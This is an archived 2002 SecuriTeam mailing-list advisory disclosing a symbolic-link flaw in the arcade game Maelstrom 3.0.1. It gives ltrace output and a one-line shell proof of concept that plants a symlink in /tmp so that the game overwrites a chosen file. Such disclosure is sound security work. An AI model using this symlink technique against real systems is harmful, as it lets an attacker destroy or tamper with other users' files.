

[UNIX] Maelstrom Symbolic Link Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0116.html>

From: support@securiteam.com

Date: 01/24/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 24 Jan 2002 13:41:17 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Maelstrom Symbolic Link Vulnerability

SUMMARY

Maelstrom is an arcade game. A symbolic link weakness in this product allows attackers to overwrite arbitrary system files.

DETAILS

Vulnerable systems:

Maelstrom version 3.0.1

Ltracing Maelstrom showed the following:

```
fopen("/tmp/f", "w") = 0x08081f58
fprintf(0x08081f58, "Main program = %s\n", "Maelstrom") = 25
fclose(0x08081f58) = 0
```

This means that it follows symbolic links, and by doing:

```
$ rm -f /tmp/f; (umask 077; echo bla > /tmp/bla; ln -s /tmp/bla f)
```

At which point when you run it again and do a 'cat /tmp/bla', you should get:

```
Main program = Maelstrom
```

Securiteam: [UNIX] Maelstrom Symbolic Link Vulnerability

Conclusion:

You can overwrite arbitrary files with the permissions of the user who ran it.

Of course, this will not work on systems that have linking restrictions in /tmp.

ADDITIONAL INFORMATION

The information has been provided by <mailto:andrewg@tasmail.com> Andrew Griffiths.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Mozilla Cookie Stealing"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)